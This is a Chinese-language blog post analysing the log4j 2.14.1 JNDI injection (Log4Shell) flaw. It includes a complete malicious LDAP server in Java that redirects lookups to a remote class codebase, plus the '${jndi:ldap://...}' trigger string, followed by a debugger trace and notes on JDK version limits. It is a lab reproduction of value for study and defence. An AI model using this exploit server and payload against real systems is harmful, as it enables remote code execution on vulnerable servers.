log4j JNDI 注入分析


環境搭建

依賴:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>4.0.9</version>
    <scope>test</scope>
</dependency>

ldap server :

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class Server {
    private static final String LDAP_BASE = "dc=ldap,dc=Log4j,dc=com";

    public static void main (String[] args) {
        // 惡意class文件存放url
        String url = "http://127.0.0.1:8000/#evil";
        // ldap 服務器端口號
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

測試代碼:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class test {
    private static final Logger logger = LogManager.getLogger(test.class);

    public static void main(String[] args) {
        String str = "${jndi:ldap://127.0.0.1:1234/evil}";
        logger.error("params:{}",str);
    }
}

漏洞分析

官方文檔介紹log4j提供很多lookups,也正是因為它支持jndi的方式所以造成了該漏洞。

 

 

接下來,下斷點跟進,直到 org.apache.logging.log4j.core.lookup#Strsubstitutor.replace方法,跟進調用的 substitute(event, buf, 0, source.length())

 

函數簡介說明,該函數可以解析文本中包含變量的值,往下走

 

 發現 isMatch(chars, pos, offset, bufEnd)

 

 這是一個做字符串匹配的函數,chars[]的內容和buffer的匹配就返回chars[]的長度

繼續往下跟,直到 resolveVariable(event, varName, buf, startPos, endPos) (中間的過程很漫長,需要點耐心,一直在處理字符串)

 

中間沒什么特別的操作

 

 跟進 lookup(event, variableName),看一下這個lookup是不是我屬性的jndi常用的lookup

 

 

看到程序走到 return (T) this.context.lookup(name) 彈出計算器

再看看context的定義是我們所熟知的 javax.naming.Context就一目了然了

最后

本文復現環境 jdk8u11

換一個高版本的jdk,ldap協議就不行了,因為不再支持加載遠程class

下圖使用jdk8u301,看到ldap server收到請求,但是不會彈出計算器了

這同樣也就解釋了,為啥dnslog收到了請求,卻打不了的情況~

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM